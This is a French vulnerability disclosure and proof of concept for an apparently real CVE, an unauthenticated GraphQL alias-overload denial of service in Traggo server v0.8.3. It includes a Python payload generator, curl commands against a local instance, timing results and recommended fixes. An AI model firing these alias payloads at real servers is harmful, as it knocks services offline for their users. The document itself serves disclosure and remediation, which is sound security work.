
Preuve de concept et analyse technique pour CVE-2026-117184, une attaque par déni de service non authentifiée via surcharge d'alias GraphQL dans Traggo 0.8.3, avec générateur de charge utile et recommandations de correction.
Le serveur Traggo v0.8.3 est vulnérable à un déni de service non authentifié (DoS). Le point de terminaison GraphQL accepte un nombre illimité de champs aliasés et n'impose aucune limite de taille du corps de requête. Comme le champ version ne possède pas de directive @hasRole, l'attaque peut être déclenchée sans se connecter.
Un document forgé contenant de nombreux alias (par ex. {v0:version{name} v1:version{name} ...}) force le serveur à passer un long moment à résoudre les champs et à allouer une mémoire excessive. Une seule requête avec 100 000 alias (une charge utile de 2,0 Mo) monopolise un cœur CPU pendant plus de 100 secondes et consomme près de 1 Go de RAM. Des requêtes parallèles peuvent facilement pousser le processus en situation d'OOM (Out of Memory).
| Champ | Valeur |
|---|---|
| CVE ID | CVE-2026-117184 |
| Enregistrement officiel | cve.org/CVERecord?id=CVE-2026-117184 |
| Version affectée | Traggo server v0.8.3 (commit 6321119c3c2d55f04e2e4967f6492aabd6067b76) |
| Type de vulnérabilité | CWE-400 : Consommation de ressources non contrôlée (DoS) |
| Vecteur d'attaque | Réseau |
| Privilèges requis | Aucun (non authentifié) |
| Composant affecté | Point de terminaison GraphQL /graphql (graphql/handler.go), schema.graphql, logger/gql.go |
| Rapport original | traggo/server#253 |
| Chemin de fichier | Description |
|---|---|
graphql/handler.go | Configuration du handler sans limite de complexité ni limite de taille du corps. |
schema.graphql | Le champ version ne possède pas de directive d'authentification. |
auth/hasrole.go | Implémentation de la directive (ignorée pour version). |
graphql/resolver.go | Le résolveur version est appelé pour chaque alias. |
logger/gql.go | La requête brute est journalisée en cas d'erreur, amplifiant l'impact de la taille du corps. |
graphql/handler.go:13-27 — handler.ComplexityLimit(...) n'est jamais passé. Le corps de la requête est transmis directement à gqlHandler.ServeHTTP sans http.MaxBytesReader.
func Handler(endpoint string, resolvers gqlschema.ResolverRoot, directives gqlschema.DirectiveRoot) http.HandlerFunc {
gqlHandler := handler.GraphQL(gqlschema.NewExecutableSchema(gqlschema.Config{
Resolvers: resolvers,
Directives: directives,
}), handler.RequestMiddleware(logger.GQLLog()))
playground := handler.Playground("Traggo Playground", endpoint)
return func(writer http.ResponseWriter, request *http.Request) {
if acceptHTMLAndNotJSON(request) {
playground.ServeHTTP(writer, request)
} else {
gqlHandler.ServeHTTP(writer, request)
}
}
}
version non authentifiéschema.graphql:62 — Alors que les autres champs disposent de @hasRole(role: USER), le champ version n'en dispose pas, ce qui le rend accessible sans en-tête Authorization.
devices: [Device!] @hasRole(role: USER)
timeSpans(fromInclusive: Time, toInclusive: Time, cursor: InputCursor): PagedTimeSpans! @hasRole(role: USER)
# ...
version: Version!
graphql/resolver.go:67-71 — Chaque alias dans l'ensemble de sélection invoque le résolveur séparément, multipliant l'utilisation du CPU et de la mémoire.
func (r *resolver) Version(ctx context.Context) (*gqlmodel.Version, error) {
gql := &gqlmodel.Version{}
copier.Copy(gql, r.version)
return gql, nil
}
gqlgen v0.17.85 n'active la limite de complexité que lorsque l'application la définit explicitement (handler/handler.go:59-67). Comme Traggo ne le fait pas, cfg.complexityLimit vaut 0 et aucune extension n'est ajoutée.
logger/gql.go:27-36 — Même si la requête échoue, la requête brute est journalisée. Une charge utile de 20 Mo génère une entrée de journal de 20 Mo par requête.
if len(errs) > 0 {
// ...
log.Error().Strs("error", errorStrings).Str("took", elapsed.String()).Msg("GQL: " + toOneLine(hidePassword(rawQuery)))
}
Testé sur la v0.8.3, compilée depuis les sources avec go build (Go 1.24.4, SQLite, 4 cœurs, 7,7 Go de RAM).
API=http://127.0.0.1:3999/graphql
curl -s -D - "$API" \
-H 'Content-Type: application/json' \
--data-binary '{"query":"{version{name commit}}"}' \
-o /tmp/version.json
cat /tmp/version.json
# Response: {"data":{"version":{"name":"develop","commit":"-"}}}
python3 - <<'EOF'
import json
for n in (5000, 20000, 50000, 100000):
q = "{" + " ".join(f"v{i}:version{{name}}" for i in range(n)) + "}"
with open(f"/tmp/alias_{n}.json", "w") as f:
json.dump({"query": q}, f)
EOF
(Le fichier de 100k fait 2 088 904 octets).
for n in 5000 20000 50000; do
curl -s "$API" -H 'Content-Type: application/json' \
-d @/tmp/alias_$n.json -o /dev/null \
-w "$n: http=%{http_code} time=%{time_total}\n"
done
| Alias | Taille de la requête | Temps | Remarques |
|---|---|---|---|
| 5 000 | 99 Ko | 0,15 s | |
| 20 000 | 409 Ko | 2,37 s | |
| 50 000 | 1,0 Mo | 24,47 s | 100 % d'un cœur |
| 100 000 | 2,0 Mo | 102,56 s | RSS 962 Mo |
Trois requêtes de 50 000 en parallèle ont montré 291-299 % d'utilisation CPU sur une machine à 4 cœurs. Le serveur ne plante pas immédiatement, mais les petites requêtes restent réactives (environ 1 ms) pendant que les grosses s'exécutent. Le problème principal est l'épinglage CPU et un risque d'OOM.
Appliquer les limites dans graphql/handler.go :
gqlHandler := handler.GraphQL(gqlschema.NewExecutableSchema(gqlschema.Config{
Resolvers: resolvers,
Directives: directives,
}),
handler.ComplexityLimit(1000), // Set a reasonable limit based on dashboard queries
handler.RequestMiddleware(logger.GQLLog()),
)
// Wrap the request handler with MaxBytesReader
return func(writer http.ResponseWriter, request *http.Request) {
request.Body = http.MaxBytesReader(writer, request.Body, 1024*1024) // e.g., 1 MB limit
// ... (rest of the handler)
}
Remarque : avec ComplexityLimit(1000), la requête d'alias de 50k échoue en 0,17 s avec une erreur : operation has complexity 100000, which exceeds the limit of 1000.
versionSi version n'a pas besoin d'être public, ajoutez @hasRole(role: USER) à schema.graphql :
version: Version! @hasRole(role: USER)
| Composant | Version |
|---|---|
| Traggo Server | v0.8.3 (commit 6321119c...) |
| Go | 1.24.4 |
| gqlgen | 0.17.85 |
| Base de données | SQLite |
| OS | Linux (4 cœurs, 7,7 Go de RAM) |
| Date | Événement |
|---|---|
| 2026-10-22 | Issue #253 signalée au dépôt du serveur Traggo |
| 2026-10-30 | Enregistrement CVE officiel publié sur cve.org |
| — | En attente de la réponse du mainteneur concernant le correctif |